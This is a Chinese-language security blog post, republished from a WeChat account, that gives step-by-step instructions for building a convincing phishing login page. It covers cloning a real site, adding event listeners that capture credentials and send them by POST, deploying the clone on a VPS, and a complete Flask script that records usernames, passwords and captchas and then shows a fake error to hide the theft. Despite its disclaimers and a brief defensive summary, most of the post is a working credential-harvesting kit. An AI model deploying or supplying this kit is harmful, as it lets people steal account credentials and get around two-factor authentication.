钓鱼的另一种手法高度仿真的伪装登录页面

admin 2025年7月4日01:20:32评论18 views字数 3207阅读10分41秒阅读模式

本文章中所有内容仅供学习交流,严禁用于商业用途和非法用途,否则由此产生的一切后果均与文章作者无关

前言

在网络攻防演练或红队测试中,钓鱼攻击是一种常见的社会工程手段。为了提高攻击的迷惑性和成功率,构建一个高度仿真的伪装登录页面是关键环节之一。本文将简要介绍其实现原理、构建方法及注意事项。

一、什么是伪装登录页面?

伪装登录页面,是指仿照真实网站外观制作的钓鱼页面,目的在于诱导用户输入账号密码、验证码、Cookie 等敏感信息。此类页面通常用于:

  • 模拟账号密码泄露场景;
  • 绕过双因素认证;
  • 收集浏览器环境或行为数据。

 仅限合法授权测试中使用,非法使用属于违法行为!

二、实现原理

伪装登录页面的核心在于:

  • 外观一致:页面布局、图标、CSS 样式与真实网站一致;
  • 行为一致:输入框、按钮交互保持真实感;
  • 数据劫持:将用户输入内容记录或中转,供后续利用;
  • 伪造跳转:用户提交信息后模拟登录成功或重定向到真实网站。

三、实现过程

首先你找到你需要伪装的页面然后来进行克隆,当然可以进行手动编写。你也可以使用一些捷径的方法这里推荐一个chrome的插件,可以直接下载你打开的网页。https://chromewebstore.google.com/detail/singlefile/mpiodijhokgodhhofbcjdecpffjipkle?hl=zh-CN&utm_source=ext_sidebar

下面进行演示:随机找一个网站

钓鱼的另一种手法高度仿真的伪装登录页面

可以ctrl+s来进行保存网页,但是有一个瑕疵就是不好部署,是一个文件夹形式的,可以使用以下命令来进行保存。

wget --convert-links --page-requisites --no-parent -O saved.html https://example.com

或者这里可以使用SingleFile插件来进行下载,使用起来也非常的方便选中当前页面单击插件即可下载。好处就是所有源码都保存在一个文件中,在vps中部署就非常的方便。

钓鱼的另一种手法高度仿真的伪装登录页面

通过网站使用f12,来对登录框的关键函数来进行定位,找到相应的函数后在下载的html文件中进行定位,后对文件进行编辑。

钓鱼的另一种手法高度仿真的伪装登录页面

原理:通过为账号和密码输入框设置事件监听(如 blur 失焦和 submit 提交),在用户输入完成后自动获取输入内容,利用 DOM 的 ID 精准定位到表单元素,实时提取账号和密码的值。随后,这些数据会被封装成标准的 JSON 格式,确保结构化和易于后端解析。接着,前端通过 Fetch API 以 POST 请求的方式,将封装好的数据异步、安全地发送到后端指定接口(如 /monitor),实现前后端的数据联动。整个流程在事件选择上兼顾了实时性与性能,既可用 blur 事件减少无效请求,也可在表单提交时确保数据完整上报;同时,建议在生产环境下采用 HTTPS 保障数据传输安全,并对敏感信息如密码进行加密或脱敏处理,防止泄露。这种方式不仅实现了高效的数据监控和传递,还为后端的 Python 监控脚本提供了标准化的数据入口,便于后续处理和存储。

修改为如下格式后,进行保存后放入vps中。

钓鱼的另一种手法高度仿真的伪装登录页面

这里就用python搭建一个临时网页,有一个技巧在启动过程中可以使用nohup命令来启动,防止意外断开连接。

钓鱼的另一种手法高度仿真的伪装登录页面

成功搭建

钓鱼的另一种手法高度仿真的伪装登录页面

下面需要vps启动一个python的监听脚本(需要对脚本增加执行权限),脚本可以将获取到的信息进行保存。

from flask import Flask, request, jsonify
import logging
import threading
import os

class Config:
    LOG_FILE = os.environ.get('LOG_FILE', '统一登录记录保存.txt')
    LOG_LEVEL = os.environ.get('LOG_LEVEL', 'INFO')
    PORT = int(os.environ.get('PORT', 8888))

app = Flask(__name__)
logging.basicConfig(level=Config.LOG_LEVEL, format='%(asctime)s - %(levelname)s - %(message)s')
file_lock = threading.Lock()

def log_form_data(username, password, captcha):
    line = f"用户名: {username}, 密码: {password}, 验证码: {captcha}n"
    try:
        with file_lock:
            with open(Config.LOG_FILE, 'a', encoding='utf-8') as f:
                f.write(line)
    except Exception as e:
        logging.error(f"写文件出错: {e}")

@app.route('/submit_form', methods=['POST'])
def submit_form():
    username = request.form.get('username', '')
    password = request.form.get('password', '')
    captcha = request.form.get('captcha', '')

    if not username or not password or not captcha:
        logging.warning("缺少必要参数")
        return jsonify({'error': '缺少必要参数'}), 400

    logging.info(f"收到表单数据: 用户名:{username} 验证码:{captcha}")
    log_form_data(username, password, captcha)
    return jsonify({'error': '网络连接错误'}), 404

@app.errorhandler(Exception)
def handle_exception(e):
    logging.error(f"全局异常: {e}")
    return jsonify({'error': '服务器内部错误'}), 500

@app.route('/health', methods=['GET'])
def health_check():
    return jsonify({'status': 'ok'}), 200

@app.after_request
def set_security_headers(response):
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['Cache-Control'] = 'no-store'
    return response

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=Config.PORT)

运行后输入随机输入

钓鱼的另一种手法高度仿真的伪装登录页面

查看脚本是否能监听,成功监听。

钓鱼的另一种手法高度仿真的伪装登录页面

总结:

伪装登录页面是通过高度仿照真实网站外观制作的钓鱼页面,目的是诱导用户输入账号、密码、验证码、Cookie等敏感信息。这类页面常被用来模拟账号密码泄露场景、绕过双因素认证,甚至收集用户的浏览器环境和行为数据。攻击者通常会采用相似的域名和界面设计迷惑用户,并通过后端脚本将收集到的信息发送到自己的服务器。即使用户输入了正确的凭证,页面也可能故意返回错误提示,进一步掩盖真实意图。伪装登录页面不仅威胁用户的账号安全,还可能为后续的网络攻击和信息窃取提供便利。因此,识别和防范此类钓鱼页面对于保障个人和企业的信息安全至关重要。

原文始发于微信公众号(蓝云Sec):钓鱼的另一种手法高度仿真的伪装登录页面

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月4日01:20:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   钓鱼的另一种手法高度仿真的伪装登录页面https://cn-sec.com/archives/4220856.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息